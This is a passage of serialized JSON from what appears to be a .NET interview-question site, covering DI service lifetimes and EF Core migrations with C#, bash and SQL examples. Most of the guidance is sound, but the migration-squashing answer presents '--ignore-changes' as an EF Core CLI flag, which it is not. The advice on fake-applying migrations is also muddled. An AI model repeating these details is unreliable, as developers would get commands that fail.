startup.\n",{"id":874,"difficulty":96,"q":875,"a":876},"iscope-factory","What is IServiceScopeFactory and when do you need it?","**`IServiceScopeFactory`** creates explicit DI scopes on demand — essential for any\ncode that runs outside the ASP.NET Core request pipeline (background services, hosted\nservices, console programs) where no automatic scope exists.\n\n```csharp\n\u002F\u002F Background service — no HTTP request scope exists:\npublic class DataSyncHostedService : BackgroundService\n{\n    private readonly IServiceScopeFactory _scopeFactory;\n    private readonly ILogger\u003CDataSyncHostedService> _logger;\n\n    public DataSyncHostedService(\n        IServiceScopeFactory scopeFactory,\n        ILogger\u003CDataSyncHostedService> logger)\n    {\n        _scopeFactory = scopeFactory;\n        _logger = logger;\n    }\n\n    protected override async Task ExecuteAsync(CancellationToken stoppingToken)\n    {\n        while (!stoppingToken.IsCancellationRequested)\n        {\n            \u002F\u002F Create a fresh scope for each sync cycle:\n            using (var scope = _scopeFactory.CreateScope())\n            {\n                var db       = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n                var syncSvc  = scope.ServiceProvider.GetRequiredService\u003CISyncService>();\n\n                await syncSvc.SyncAsync(stoppingToken);\n                \u002F\u002F db and syncSvc disposed when scope is disposed (end of using)\n            }\n\n            await Task.Delay(TimeSpan.FromMinutes(5), stoppingToken);\n        }\n    }\n}\n```\n\n`IServiceScopeFactory` is itself registered as a Singleton by the framework, so it can\nbe injected into Singleton services safely. The scopes it creates are independent and\nproperly bounded.\n\n**Rule of thumb:** Any Singleton that needs a Scoped service should inject\n`IServiceScopeFactory` and create a new scope per operation. Never inject Scoped\nservices directly into a Singleton constructor.\n",{"id":878,"difficulty":96,"q":879,"a":880},"disposal","How does the DI container handle IDisposable and IAsyncDisposable services?","The DI container **automatically disposes** services that implement `IDisposable` or\n`IAsyncDisposable` when their owning scope ends — Singleton at app shutdown, Scoped\nand Transient at the end of the request scope.\n\n```csharp\npublic class DatabaseConnection : IDisposable, IAsyncDisposable\n{\n    private SqlConnection _conn;\n\n    public DatabaseConnection(string connectionString)\n        => _conn = new SqlConnection(connectionString);\n\n    public void Dispose()\n    {\n        _conn?.Dispose();\n        _conn = null;\n    }\n\n    public async ValueTask DisposeAsync()\n    {\n        if (_conn is not null)\n        {\n            await _conn.DisposeAsync();\n            _conn = null;\n        }\n    }\n}\n\nbuilder.Services.AddScoped\u003CDatabaseConnection>();\n\u002F\u002F Disposed (DisposeAsync preferred) at the end of each HTTP request automatically.\n\n\u002F\u002F Singletons are disposed at app shutdown:\nbuilder.Services.AddSingleton\u003CIConnectionMultiplexer>(sp =>\n    ConnectionMultiplexer.Connect(\"localhost\"));\n\u002F\u002F ConnectionMultiplexer.Dispose() called when app.StopAsync() completes.\n\n\u002F\u002F Transients are tracked by the scope and disposed with it:\n\u002F\u002F If a Transient IDisposable is resolved from the root scope (e.g., app.Services),\n\u002F\u002F it won't be disposed until app shutdown — this is a memory leak.\n\u002F\u002F Always resolve Disposable Transients from a child scope.\n```\n\n**Rule of thumb:** Let the container own disposal — never call `Dispose()` on injected\nservices yourself. For root-scope transients that are `IDisposable`, create an explicit\nchild scope so disposal happens promptly.\n",{"id":882,"difficulty":96,"q":883,"a":884},"background-service-scopes","Why can't a BackgroundService inject Scoped services directly?","**`BackgroundService`** is registered as a **Singleton** (it runs for the app's lifetime).\nInjecting a Scoped service directly into its constructor creates a **captive dependency** —\nthe Scoped service becomes effectively Singleton and doesn't get disposed per request.\n\n```csharp\n\u002F\u002F WRONG — captive dependency; AppDbContext lives for the app lifetime:\npublic class OrderProcessor : BackgroundService\n{\n    private readonly AppDbContext _db; \u002F\u002F Scoped — wrong lifetime here\n\n    public OrderProcessor(AppDbContext db) \u002F\u002F container throws or creates a captive\n    {\n        _db = db;\n    }\n\n    protected override async Task ExecuteAsync(CancellationToken ct)\n    {\n        \u002F\u002F _db is reused across ALL processing cycles — EF change tracker corrupts\n        while (!ct.IsCancellationRequested)\n            await ProcessNextOrderAsync(_db);\n    }\n}\n\n\u002F\u002F CORRECT — create a scope per work unit:\npublic class OrderProcessor : BackgroundService\n{\n    private readonly IServiceScopeFactory _factory;\n\n    public OrderProcessor(IServiceScopeFactory factory) => _factory = factory;\n\n    protected override async Task ExecuteAsync(CancellationToken ct)\n    {\n        while (!ct.IsCancellationRequested)\n        {\n            using var scope = _factory.CreateScope();\n            var db    = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n            var queue = scope.ServiceProvider.GetRequiredService\u003CIOrderQueue>();\n\n            await ProcessNextOrderAsync(db, queue);\n            \u002F\u002F db and queue properly disposed after each iteration\n        }\n    }\n}\n```\n\n**Rule of thumb:** `BackgroundService` constructors should only accept Singleton services\nplus `IServiceScopeFactory`. Create a new scope for every unit of work that needs Scoped\nservices (DbContext, unit-of-work, per-operation state).\n",{"id":886,"difficulty":96,"q":887,"a":888},"root-scope","What is the root scope in .NET DI and why is it a source of memory leaks?","The **root scope** is the `IServiceProvider` created by `builder.Build()`. It's the\ntop-level container that lives for the entire application lifetime. Resolving Scoped or\nTransient `IDisposable` services from the root scope leaks them until app shutdown.\n\n```csharp\nvar app = builder.Build();\n\n\u002F\u002F Resolving Scoped service from root scope — leaks until app shutdown:\nvar db = app.Services.GetRequiredService\u003CAppDbContext>();\n\u002F\u002F db is Scoped, but the root scope never ends → memory + connection leak\n\n\u002F\u002F Always create a child scope for one-off operations:\nusing (var scope = app.Services.CreateScope())\n{\n    var db = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n    await db.Database.MigrateAsync(); \u002F\u002F db disposed at end of using block\n}\n\n\u002F\u002F With ValidateScopes = true, resolving a Scoped service from root throws:\nbuilder.Host.UseDefaultServiceProvider(options =>\n{\n    options.ValidateScopes = app.Environment.IsDevelopment();\n});\n\u002F\u002F InvalidOperationException: Cannot resolve scoped service from root provider.\n\n\u002F\u002F Safe: resolving Singleton from root is always fine:\nvar config = app.Services.GetRequiredService\u003CIConfiguration>(); \u002F\u002F OK\nvar cache  = app.Services.GetRequiredService\u003CIMemoryCache>();   \u002F\u002F OK\n```\n\n**Rule of thumb:** Never call `app.Services.GetRequiredService\u003CT>()` for Scoped or\nTransient services. Always wrap one-off resolutions in `CreateScope()`. Enable\n`ValidateScopes` to catch root-scope violations at startup in development.\n",{"id":890,"difficulty":96,"q":891,"a":892},"blazor-lifetimes","How do service lifetimes differ in Blazor Server vs Blazor WebAssembly?","Blazor's DI model differs from ASP.NET Core's request pipeline because Blazor Server\nkeeps a persistent SignalR circuit per browser tab, and Blazor WebAssembly runs entirely\nin the browser.\n\n```csharp\n\u002F\u002F Blazor Server — \"Scoped\" = per circuit (browser tab session), not per HTTP request:\nbuilder.Services.AddScoped\u003CIUserState, UserState>();\n\u002F\u002F Same instance across all component renders within one browser tab.\n\u002F\u002F A new tab → new circuit → new IUserState instance.\n\u002F\u002F This is a LONGER lifetime than ASP.NET Core Scoped (which is per-request).\n\n\u002F\u002F Singleton in Blazor Server — shared across ALL connected browser tabs!\nbuilder.Services.AddSingleton\u003CISharedCache, MemoryCache>();\n\u002F\u002F All users share this — only safe for truly shared, thread-safe state.\n\n\u002F\u002F Blazor WebAssembly — no server; runs in browser:\n\u002F\u002F Singleton = lives until the browser tab is closed or refreshed.\n\u002F\u002F Scoped    = same as Singleton in WASM (one scope for the whole app lifetime).\n\u002F\u002F Transient = new instance per injection, just like everywhere else.\nbuilder.Services.AddSingleton\u003CICartService, CartService>(); \u002F\u002F per tab in WASM\n\n\u002F\u002F Per-component transient state:\nbuilder.Services.AddTransient\u003CIComponentState, ComponentState>();\n\u002F\u002F New instance per component that injects it — use [CascadingParameter] instead\n\u002F\u002F for parent-to-child state sharing in Blazor.\n```\n\n**Rule of thumb:** In Blazor Server, treat Scoped as per-user-session and Singleton\nas shared-across-all-users. Never store user-specific state in a Singleton in Blazor Server.\n",{"id":894,"difficulty":96,"q":895,"a":896},"lifetime-mismatch-detection","How do you detect and prevent lifetime mismatch bugs at development time?","Lifetime mismatches are subtle bugs — they often don't fail immediately but cause data\ncorruption or state leaks in production. .NET provides built-in tooling to catch them.\n\n```csharp\n\u002F\u002F 1. Enable ValidateScopes + ValidateOnBuild (development only):\nbuilder.Host.UseDefaultServiceProvider((ctx, options) =>\n{\n    options.ValidateOnBuild = ctx.HostingEnvironment.IsDevelopment();\n    options.ValidateScopes  = ctx.HostingEnvironment.IsDevelopment();\n});\n\n\u002F\u002F 2. Write integration tests that build the real container:\npublic class DependencyInjectionTests\n{\n    [Fact]\n    public void AllServicesResolvable()\n    {\n        \u002F\u002F Use the real IServiceCollection from your app:\n        var services = new ServiceCollection();\n        Startup.ConfigureServices(services);\n\n        using var provider = services.BuildServiceProvider(\n            new ServiceProviderOptions\n            {\n                ValidateOnBuild = true,\n                ValidateScopes  = true,\n            });\n\n        \u002F\u002F If any registration is broken, BuildServiceProvider throws here:\n        Assert.NotNull(provider.CreateScope()\n            .ServiceProvider.GetRequiredService\u003CIOrderService>());\n    }\n}\n\n\u002F\u002F 3. Use the ASP.NET Core test host (validates real DI graph):\nawait using var factory = new WebApplicationFactory\u003CProgram>()\n    .WithWebHostBuilder(builder =>\n        builder.UseEnvironment(\"Development\")); \u002F\u002F triggers ValidateScopes\nvar client = factory.CreateClient();\n\u002F\u002F First request will throw if DI is misconfigured\n```\n\n**Rule of thumb:** Make DI validation part of CI — either via integration tests that\nbuild the real container or by running the app in Development mode with `ValidateScopes`\nand `ValidateOnBuild` enabled.\n",{"id":898,"difficulty":96,"q":899,"a":900},"transient-vs-singleton-perf","What are the performance implications of choosing Transient vs Singleton for stateless services?","**Singleton** is almost always faster for stateless services — allocation, garbage\ncollection, and constructor cost happen once at startup rather than on every resolve.\nTransient multiplies that cost by every request and every inject site.\n\n```csharp\n\u002F\u002F Scenario: a stateless email validator resolved thousands of times per second.\n\n\u002F\u002F Transient — new RegexEmailValidator() on every resolution:\nbuilder.Services.AddTransient\u003CIEmailValidator, RegexEmailValidator>();\n\u002F\u002F Cost per resolution: heap allocation + Regex compilation (if not pre-compiled)\n\u002F\u002F   + GC pressure accumulates under high throughput.\n\n\u002F\u002F Singleton — one instance created at startup, shared for app lifetime:\nbuilder.Services.AddSingleton\u003CIEmailValidator, RegexEmailValidator>();\n\u002F\u002F Cost per resolution: dictionary lookup only — no allocation.\n\u002F\u002F Safe because RegexEmailValidator has no mutable state.\n\n\u002F\u002F Benchmark illustration (not real numbers — for illustration only):\n\u002F\u002F 1M resolutions: Transient ~300ms | Singleton ~5ms\n\n\u002F\u002F Transient is correct when the service holds non-thread-safe mutable state:\npublic class CsvBuilder \u002F\u002F not thread-safe — each caller needs its own instance\n{\n    private readonly StringBuilder _sb = new();\n    public void AddRow(string[] cells) => _sb.AppendJoin(',', cells);\n    public string Build() => _sb.ToString();\n}\nbuilder.Services.AddTransient\u003CCsvBuilder>(); \u002F\u002F correct: new per injection\n\n\u002F\u002F Singleton is wrong for non-thread-safe types:\nbuilder.Services.AddSingleton\u003CCsvBuilder>(); \u002F\u002F Bad: shared StringBuilder corrupts\n```\n\n**Rule of thumb:** For stateless, thread-safe services, prefer Singleton. The allocation\ncost of Transient is negligible for lightweight types, but it becomes measurable in\nhot paths. Profile before over-optimizing, but design stateless helpers to be Singleton-safe.\n",{"id":902,"difficulty":206,"q":903,"a":904},"scoped-outside-request","How do you use Scoped services outside the ASP.NET Core request pipeline?","Outside the HTTP request pipeline — CLI tools, unit tests, EF migrations, integration\ntest setup, worker services — no scope exists automatically. You must create one\nexplicitly via `IServiceScopeFactory` or `IServiceProvider.CreateScope()`.\n\n```csharp\n\u002F\u002F Pattern 1: one-off operation after app.Build() (e.g., run EF migrations):\nvar app = builder.Build();\n\nusing (var scope = app.Services.CreateScope())\n{\n    var db = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n    await db.Database.MigrateAsync();\n    \u002F\u002F scope and db disposed at end of using block\n}\n\nawait app.RunAsync();\n\n\u002F\u002F Pattern 2: integration test setup with WebApplicationFactory:\npublic class OrdersIntegrationTest : IClassFixture\u003CWebApplicationFactory\u003CProgram>>\n{\n    private readonly WebApplicationFactory\u003CProgram> _factory;\n\n    public OrdersIntegrationTest(WebApplicationFactory\u003CProgram> factory)\n        => _factory = factory;\n\n    [Fact]\n    public async Task SeedDatabase_ThenQueryViaApi()\n    {\n        \u002F\u002F Create a scope for direct DB access in the test:\n        using var scope = _factory.Services.CreateScope();\n        var db = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n        db.Orders.Add(new Order { Id = 1, Total = 99.99m });\n        await db.SaveChangesAsync();\n\n        \u002F\u002F Now hit the real API endpoint:\n        var client   = _factory.CreateClient();\n        var response = await client.GetAsync(\"\u002Forders\u002F1\");\n        response.EnsureSuccessStatusCode();\n    }\n}\n\n\u002F\u002F Pattern 3: console \u002F worker service (no HTTP pipeline at all):\nvar host = Host.CreateDefaultBuilder(args)\n    .ConfigureServices(services =>\n    {\n        services.AddScoped\u003CAppDbContext>();\n        services.AddScoped\u003CIDataImporter, CsvDataImporter>();\n    })\n    .Build();\n\nusing (var scope = host.Services.CreateScope())\n{\n    var importer = scope.ServiceProvider.GetRequiredService\u003CIDataImporter>();\n    await importer.ImportAsync(\"data.csv\");\n}\n```\n\n**Rule of thumb:** Any code that runs outside a request scope must create its own scope\nusing `CreateScope()`. Dispose the scope as soon as the unit of work is complete so\nScoped services (DbContext, connections) are released promptly.\n",{"id":906,"difficulty":206,"q":907,"a":908},"singleton-thread-safety-patterns","What patterns ensure thread safety in Singleton services?","Singleton services are shared across all concurrent requests, so any mutable shared\nstate must be protected. The right tool depends on the access pattern.\n\n```csharp\n\u002F\u002F Pattern 1: immutability — no synchronization needed:\npublic class RegionConfig \u002F\u002F Singleton\n{\n    \u002F\u002F Populated once at construction; never mutated afterward:\n    private readonly IReadOnlyDictionary\u003Cstring, string> _regions;\n\n    public RegionConfig(IConfiguration config)\n        => _regions = config.GetSection(\"Regions\")\n            .GetChildren()\n            .ToDictionary(s => s.Key, s => s.Value ?? \"\");\n\n    public string? GetEndpoint(string region)\n        => _regions.TryGetValue(region, out var url) ? url : null;\n}\n\n\u002F\u002F Pattern 2: Interlocked for counters and simple values:\npublic class RequestMetrics \u002F\u002F Singleton\n{\n    private long _totalRequests;\n    private long _failedRequests;\n\n    public void RecordSuccess() => Interlocked.Increment(ref _totalRequests);\n    public void RecordFailure()\n    {\n        Interlocked.Increment(ref _totalRequests);\n        Interlocked.Increment(ref _failedRequests);\n    }\n    public long Total   => Interlocked.Read(ref _totalRequests);\n    public long Failures => Interlocked.Read(ref _failedRequests);\n}\n\n\u002F\u002F Pattern 3: ConcurrentDictionary for concurrent read-write maps:\npublic class InMemoryCache\u003CTKey, TValue> where TKey : notnull \u002F\u002F Singleton\n{\n    private readonly ConcurrentDictionary\u003CTKey, TValue> _store = new();\n\n    public TValue GetOrAdd(TKey key, Func\u003CTKey, TValue> factory)\n        => _store.GetOrAdd(key, factory); \u002F\u002F thread-safe by design\n\n    public bool TryRemove(TKey key, out TValue? value)\n        => _store.TryRemove(key, out value);\n}\n\n\u002F\u002F Pattern 4: ReaderWriterLockSlim for infrequent writes, frequent reads:\npublic class RoutingTable \u002F\u002F Singleton\n{\n    private Dictionary\u003Cstring, string> _routes = new();\n    private readonly ReaderWriterLockSlim _lock = new();\n\n    public string? Resolve(string path)\n    {\n        _lock.EnterReadLock();\n        try   { return _routes.TryGetValue(path, out var dest) ? dest : null; }\n        finally { _lock.ExitReadLock(); }\n    }\n\n    public void Reload(Dictionary\u003Cstring, string> newRoutes)\n    {\n        _lock.EnterWriteLock();\n        try   { _routes = newRoutes; }\n        finally { _lock.ExitWriteLock(); }\n    }\n}\n```\n\n**Rule of thumb:** Prefer immutable state for singletons — no locks needed. When you\nneed mutable shared state, use `Interlocked` for scalars, `ConcurrentDictionary` for\nmaps, and `ReaderWriterLockSlim` for rarely-written, frequently-read structures.\n",{"id":910,"difficulty":96,"q":911,"a":912},"scoped-lifetime-grpc","How does service lifetime work in gRPC services with ASP.NET Core?","gRPC services in ASP.NET Core are treated like controllers — the framework creates a\n**new instance per RPC call** (equivalent to per-request). DI lifetime rules apply\nthe same way as in HTTP middleware and controllers.\n\n```csharp\n\u002F\u002F gRPC service — one instance per RPC call by default:\npublic class OrderGrpcService : OrderService.OrderServiceBase\n{\n    private readonly IOrderRepository _orders; \u002F\u002F Scoped — safe; new per RPC call\n    private readonly ILogger\u003COrderGrpcService> _logger;\n\n    public OrderGrpcService(IOrderRepository orders, ILogger\u003COrderGrpcService> logger)\n    {\n        _orders = orders;\n        _logger = logger;\n    }\n\n    public override async Task\u003COrderReply> GetOrder(\n        OrderRequest request, ServerCallContext context)\n    {\n        _logger.LogInformation(\"GetOrder called for id={Id}\", request.Id);\n        var order = await _orders.GetByIdAsync(request.Id);\n        return order is null\n            ? throw new RpcException(new Status(StatusCode.NotFound, \"Order not found\"))\n            : new OrderReply { Id = order.Id, Total = (double)order.Total };\n    }\n}\n\n\u002F\u002F Registration — same as any ASP.NET Core service:\nbuilder.Services.AddScoped\u003CIOrderRepository, EfOrderRepository>();\nbuilder.Services.AddGrpc();\napp.MapGrpcService\u003COrderGrpcService>();\n\n\u002F\u002F Streaming RPCs — the single service instance handles the entire stream:\n\u002F\u002F For server-streaming methods, the same Scoped IOrderRepository instance is used\n\u002F\u002F throughout the stream lifetime — which is the duration of the RPC call, not per message.\n\n\u002F\u002F Warning: Singleton state shared across all concurrent gRPC calls — same rules as HTTP:\nbuilder.Services.AddSingleton\u003CIGrpcMetrics, GrpcMetrics>(); \u002F\u002F must be thread-safe\n```\n\n**Rule of thumb:** In gRPC services, treat each RPC call as an HTTP request.\nScoped services are safe because the framework creates a fresh DI scope per call.\nSingleton services must still be thread-safe — concurrent streams share them.\n",{"description":94},"Service lifetime interview questions — Singleton vs Scoped vs Transient, captive dependencies, IServiceScopeFactory, disposal, and ValidateScopes.","dotnet\u002Fdependency-injection\u002Fservice-lifetimes","Hkr_1apWc4rCJ3x7rdTiH-fvfTFNci5Uh5mZdiXes7k",{"id":918,"title":919,"body":920,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":924,"navigation":99,"order":29,"path":925,"questions":926,"questionsCount":163,"related":164,"seo":987,"seoDescription":988,"stem":989,"subtopic":919,"topic":55,"topicSlug":57,"updated":168,"__hash__":990},"qa\u002Fdotnet\u002Fentity-framework\u002Fmigrations.md","Migrations",{"type":91,"value":921,"toc":922},[],{"title":94,"searchDepth":29,"depth":29,"links":923},[],{},"\u002Fdotnet\u002Fentity-framework\u002Fmigrations",[927,931,935,939,943,947,951,955,959,963,967,971,975,979,983],{"id":928,"difficulty":104,"q":929,"a":930},"ef-migrations-what","What are EF Core migrations and why do you use them instead of manual schema scripts?","**EF Core migrations** are versioned C# classes that translate model changes into\ndatabase schema operations. Each migration has an `Up` (apply) and a `Down` (revert)\nmethod, making schema evolution repeatable and reversible.\n\n```csharp\n\u002F\u002F 1. Add a migration after changing the model:\n\u002F\u002F dotnet ef migrations add AddOrderStatusColumn\n\n\u002F\u002F Generated migration file:\npublic partial class AddOrderStatusColumn : Migration\n{\n    protected override void Up(MigrationBuilder migrationBuilder)\n    {\n        migrationBuilder.AddColumn\u003Cstring>(\n            name: \"Status\",\n            table: \"Orders\",\n            type: \"nvarchar(50)\",\n            nullable: false,\n            defaultValue: \"Pending\");\n\n        migrationBuilder.CreateIndex(\n            name: \"IX_Orders_Status\",\n            table: \"Orders\",\n            column: \"Status\");\n    }\n\n    protected override void Down(MigrationBuilder migrationBuilder)\n    {\n        migrationBuilder.DropIndex(\"IX_Orders_Status\", \"Orders\");\n        migrationBuilder.DropColumn(\"Status\", \"Orders\");\n    }\n}\n\n\u002F\u002F 2. Apply to the database:\n\u002F\u002F dotnet ef database update\n\u002F\u002F Or programmatically at startup:\nawait db.Database.MigrateAsync(); \u002F\u002F applies all pending migrations\n```\n\nBenefits over manual scripts: migrations are source-controlled, tied to the model,\nreversible with `Down`, and apply in order via the `__EFMigrationsHistory` table.\n\n**Rule of thumb:** One migration per logical schema change. Never edit a migration\nonce it's been applied to any shared environment — add a new migration instead.\n",{"id":932,"difficulty":104,"q":933,"a":934},"ef-migrations-workflow","What is the standard EF Core migration workflow from model change to production?","The migration workflow moves schema changes through dev → CI → staging → prod in\na controlled, repeatable way.\n\n```bash\n# 1. Change the model (add property, new entity, new relationship)\n\n# 2. Generate the migration:\ndotnet ef migrations add \u003CMigrationName> --project MyApp.Data --startup-project MyApp.Api\n\n# 3. Review the generated migration file — always inspect Up\u002FDown before committing:\n#    migrations\u002F\u003Ctimestamp>_\u003CMigrationName>.cs\n\n# 4. Apply to local dev DB:\ndotnet ef database update\n\n# 5. Commit migration files alongside the model change — one PR, both together.\n\n# 6. Apply in CI (integration tests run against a real migrated DB):\n#    services.AddDbContext\u003CAppDbContext>(...);\n#    db.Database.Migrate(); \u002F\u002F in test fixture setup\n\n# 7. Apply to staging and production — never dotnet ef in prod:\n#    Option A: db.Database.MigrateAsync() in app startup (simple, single-server)\n#    Option B: migration bundle (preferred for containerised deployments):\ndotnet ef migrations bundle --self-contained -o migrate\n# Then run: .\u002Fmigrate --connection \"...\"\n```\n\n```csharp\n\u002F\u002F Programmatic startup migration (option A):\nvar app = builder.Build();\n\nusing (var scope = app.Services.CreateScope())\n{\n    var db = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n    await db.Database.MigrateAsync(); \u002F\u002F idempotent — skips applied migrations\n}\n\nawait app.RunAsync();\n```\n\n**Rule of thumb:** Always commit migration files with the model change. Never apply\n`dotnet ef database update` directly to production — use `MigrateAsync` at startup\nor a migration bundle in a deploy step.\n",{"id":936,"difficulty":104,"q":937,"a":938},"ef-migrations-history","What is the __EFMigrationsHistory table and how does EF Core use it?","**`__EFMigrationsHistory`** is a bookkeeping table EF Core creates and maintains.\nIt records every applied migration by name and the EF Core product version, giving\n`MigrateAsync` its idempotency.\n\n```sql\n-- Created automatically by EF Core; looks like:\nCREATE TABLE __EFMigrationsHistory (\n    MigrationId     nvarchar(150) NOT NULL,\n    ProductVersion  nvarchar(32)  NOT NULL,\n    CONSTRAINT PK___EFMigrationsHistory PRIMARY KEY (MigrationId)\n);\n\n-- After applying two migrations, the table contains:\n-- | MigrationId                            | ProductVersion |\n-- | 20240101000000_InitialCreate            | 8.0.0          |\n-- | 20240615120000_AddOrderStatusColumn     | 8.0.0          |\n```\n\n```csharp\n\u002F\u002F Check pending migrations programmatically:\nvar pending = await db.Database.GetPendingMigrationsAsync();\nConsole.WriteLine($\"{pending.Count()} migration(s) pending\");\n\n\u002F\u002F List applied migrations:\nvar applied = await db.Database.GetAppliedMigrationsAsync();\n\n\u002F\u002F Remove a migration that hasn't been applied yet (resets the snapshot):\n\u002F\u002F dotnet ef migrations remove\n\n\u002F\u002F \"Fake\" applying a migration (schema already exists but EF doesn't know):\n\u002F\u002F dotnet ef database update --target MigrationName\n\u002F\u002F Then manually insert a row into __EFMigrationsHistory.\n```\n\n**Rule of thumb:** Never edit `__EFMigrationsHistory` manually in production unless\nyou are recovering from a partial failed migration. If a migration fails mid-run, fix\nthe migration and rerun — don't delete the history row.\n",{"id":940,"difficulty":104,"q":941,"a":942},"ef-data-seeding","How do you seed data with EF Core migrations?","EF Core provides **model-based seeding** via `HasData` in `OnModelCreating` for\nstatic reference data, and **custom seeding** code for dynamic or environment-specific\ndata.\n\n```csharp\n\u002F\u002F Model-based seeding — becomes part of the migration:\nprotected override void OnModelCreating(ModelBuilder mb)\n{\n    mb.Entity\u003CCategory>().HasData(\n        new Category { Id = 1, Name = \"Electronics\", Slug = \"electronics\" },\n        new Category { Id = 2, Name = \"Clothing\",    Slug = \"clothing\"    },\n        new Category { Id = 3, Name = \"Books\",       Slug = \"books\"       }\n    );\n}\n\u002F\u002F dotnet ef migrations add SeedCategories generates an InsertData migration.\n\u002F\u002F EF Core tracks these rows — updating HasData generates an UpdateData migration.\n\u002F\u002F Primary keys must be set explicitly (no DB-generated keys for seed data).\n\n\u002F\u002F Custom startup seeding — for dynamic data not tracked by migrations:\npublic static class DatabaseSeeder\n{\n    public static async Task SeedAsync(AppDbContext db)\n    {\n        if (await db.Users.AnyAsync(u => u.Email == \"admin@example.com\"))\n            return; \u002F\u002F idempotent — skip if already seeded\n\n        db.Users.Add(new User\n        {\n            Email    = \"admin@example.com\",\n            Role     = \"Admin\",\n            Password = PasswordHasher.Hash(\"change-me-on-first-login\")\n        });\n\n        await db.SaveChangesAsync();\n    }\n}\n\n\u002F\u002F Call after MigrateAsync at startup:\nawait db.Database.MigrateAsync();\nawait DatabaseSeeder.SeedAsync(db);\n```\n\n**Rule of thumb:** Use `HasData` only for static reference data with stable IDs\n(lookup tables, role definitions). Use custom seeder code for admin users, test data,\nor anything that varies by environment.\n",{"id":944,"difficulty":96,"q":945,"a":946},"ef-design-time-factory","What is a design-time DbContext factory and when do you need one?","A **design-time factory** (`IDesignTimeDbContextFactory\u003CT>`) tells EF migration\ntooling how to construct the `DbContext` when the startup project can't be used\nas-is — for example when the context is in a separate class library.\n\n```csharp\n\u002F\u002F Required when:\n\u002F\u002F - AppDbContext lives in a class library (no Program.cs to discover)\n\u002F\u002F - Context constructor needs non-DI arguments at design time\n\u002F\u002F - Connection string differs between design time and runtime\n\npublic class AppDbContextFactory : IDesignTimeDbContextFactory\u003CAppDbContext>\n{\n    public AppDbContext CreateDbContext(string[] args)\n    {\n        \u002F\u002F Read config from appsettings.json at design time:\n        var config = new ConfigurationBuilder()\n            .SetBasePath(Directory.GetCurrentDirectory())\n            .AddJsonFile(\"appsettings.json\")\n            .AddEnvironmentVariables()\n            .Build();\n\n        var options = new DbContextOptionsBuilder\u003CAppDbContext>()\n            .UseSqlServer(config.GetConnectionString(\"Default\"))\n            .Options;\n\n        return new AppDbContext(options);\n    }\n}\n```\n\nEF tooling (`dotnet ef migrations add`, `dotnet ef database update`) automatically\ndiscovers `IDesignTimeDbContextFactory\u003CT>` implementations at design time.\n\n```bash\n# Specify both projects when context is in a library:\ndotnet ef migrations add InitialCreate \\\n    --project MyApp.Data \\          # where DbContext lives\n    --startup-project MyApp.Api      # where appsettings.json lives\n```\n\n**Rule of thumb:** Always create a design-time factory when `AppDbContext` is in a\nclass library. Without it, `dotnet ef` either fails or picks the wrong connection string.\n",{"id":948,"difficulty":96,"q":949,"a":950},"ef-migration-bundles","What are EF Core migration bundles and why are they preferred for CI\u002FCD?","**Migration bundles** are standalone executables that apply pending migrations — no\n.NET SDK or EF CLI required at deploy time. They are the production-safe alternative\nto running `dotnet ef database update` in a pipeline.\n\n```bash\n# Build a self-contained migration bundle:\ndotnet ef migrations bundle \\\n    --self-contained \\\n    --runtime linux-x64 \\\n    -o .\u002Fmigrate \\\n    --project MyApp.Data \\\n    --startup-project MyApp.Api\n\n# This produces a single binary: .\u002Fmigrate\n\n# Run in CI\u002FCD or Kubernetes init container:\n.\u002Fmigrate --connection \"Server=prod;Database=App;User=sa;Password=...\"\n\n# Flags:\n# --target \u003CMigrationName>   — migrate to a specific version (rollback)\n# --no-transactions          — disable wrapping each migration in a transaction\n# --verbose                  — show individual SQL statements\n```\n\n```yaml\n# Kubernetes — init container applies migrations before the app starts:\ninitContainers:\n  - name: db-migrate\n    image: myapp-migrate:latest  # contains the bundle\n    command: [\".\u002Fmigrate\"]\n    env:\n      - name: ConnectionStrings__Default\n        valueFrom:\n          secretKeyRef:\n            name: db-secret\n            key: connection-string\n```\n\n**Rule of thumb:** Build a migration bundle as part of CI and run it in an init\ncontainer or deploy step — never auto-migrate inside the application process\nin a multi-replica deployment (races between replicas).\n",{"id":952,"difficulty":96,"q":953,"a":954},"ef-rollback","How do you roll back a migration in EF Core?","EF Core supports targeted rollback via `dotnet ef database update \u003Ctarget>`, which\ncalls each migration's `Down` method in reverse order.\n\n```bash\n# List all migrations (applied and pending):\ndotnet ef migrations list\n\n# Roll back to a specific migration (exclusive — that migration stays applied):\ndotnet ef database update AddOrderStatusColumn\n\n# Roll back ALL migrations (empty database — __EFMigrationsHistory stays):\ndotnet ef database update 0\n\n# Remove the last migration that hasn't been applied to any shared DB:\ndotnet ef migrations remove\n# Rewrites the model snapshot — only safe if the migration hasn't been shared.\n```\n\n```csharp\n\u002F\u002F Programmatic rollback (useful in integration tests):\nawait db.Database.MigrateAsync();  \u002F\u002F apply up to latest\n\n\u002F\u002F Or target a specific migration in a test fixture:\nawait db.GetService\u003CIMigrator>()\n        .MigrateAsync(\"20240101000000_InitialCreate\"); \u002F\u002F migrate to this point\n```\n\nProduction rollback considerations:\n- `Down` methods must be written carefully — data loss is possible (e.g., `DropColumn`).\n- For zero-downtime deploys, prefer **forward-only** migrations (never auto-populate `Down`).\n- Always back up the database before rolling back in production.\n\n**Rule of thumb:** Write `Down` methods when the migration is purely structural (indexes,\ncolumn renames). For migrations that delete columns or tables, leave `Down` empty and add\na forward migration to recover — never roll back data loss in production.\n",{"id":956,"difficulty":96,"q":957,"a":958},"ef-migration-squashing","How do you squash or consolidate many EF Core migrations?","As migrations accumulate, startup time and migration history grow. **Squashing**\nreplaces many small migrations with a single baseline migration.\n\n```bash\n# 1. Ensure all team environments are up to date with latest migration.\n\n# 2. Delete all existing migration files:\nrm Migrations\u002F*.cs   # keep only the Designer snapshot\n\n# 3. Create a new baseline migration from the current model snapshot:\ndotnet ef migrations add Baseline --ignore-changes\n# --ignore-changes: generates a migration without diffing (uses the current model)\n\n# 4. Mark the new migration as already applied on existing databases:\nINSERT INTO __EFMigrationsHistory (MigrationId, ProductVersion)\nVALUES ('20260101000000_Baseline', '8.0.0');\n# Then delete all previous rows from the table.\n\n# 5. Fresh databases get the Baseline migration applied normally.\n```\n\n```csharp\n\u002F\u002F Alternative: 